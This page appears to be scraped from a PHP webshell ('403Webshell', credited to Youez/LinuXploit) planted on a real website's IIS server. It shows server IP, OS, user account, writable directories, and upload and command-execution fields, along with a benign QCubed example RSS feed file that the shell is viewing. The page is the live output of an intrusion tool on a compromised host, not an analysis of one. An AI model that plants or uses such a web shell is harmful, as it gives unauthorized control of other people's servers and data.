403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.188
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/communication/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/communication/rss_feed.php
<?php require_once('../qcubed.inc.php');

	// Setup the Feed, itself
	$objRss = new QRssFeed('Examples Site Projects', 'http://examples.qcodo.com/', 'An Example RSS feed of the Qcodo Examples Site Projects');
	$objRss->Image = new QRssImage('http://www.qcodo.com/images/qcodo_smaller.png');
	$objRss->PubDate = new QDateTime(QDateTime::Now);
	
	// Iterate through all the projects, and setup a QRssItem per project
	// Limit it to the "10 most recently started projects"
	foreach ($objProjects = Project::LoadAll(QQ::Clause(QQ::OrderBy(QQN::Project()->StartDate, false), QQ::LimitInfo(10))) as $objProject) {
		$objItem = new QRssItem($objProject->Name,
			'http://examples.qcodo.com/examples/communication/rss.php/' . $objProject->Id,
			$objProject->Description);
	
		$objItem->Author = $objProject->ManagerPerson->FirstName . ' ' . $objProject->ManagerPerson->LastName;
		$objItem->PubDate = $objProject->StartDate;
		$objItem->Guid = $objItem->Link;
		$objItem->GuidPermaLink = true;
		$objItem->AddCategory(new QRssCategory('Some Project Category 1'));
		$objItem->AddCategory(new QRssCategory('Some Project Category 2'));

		$objRss->AddItem($objItem);
	}

	// Output/Run the feed
	// Note that the Run method will reset the output buffer and setup the Headers to output XML,
	// so any HTML or Text outputted until now will be lost.  If for whatever reason you just
	// want the XML, you can call $objRss->GetXml(), which will return the XML string.
	// Also, if you need to change the encoding of the XML, you can do so in QApplication::$EncodingType.
	$objRss->Run();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit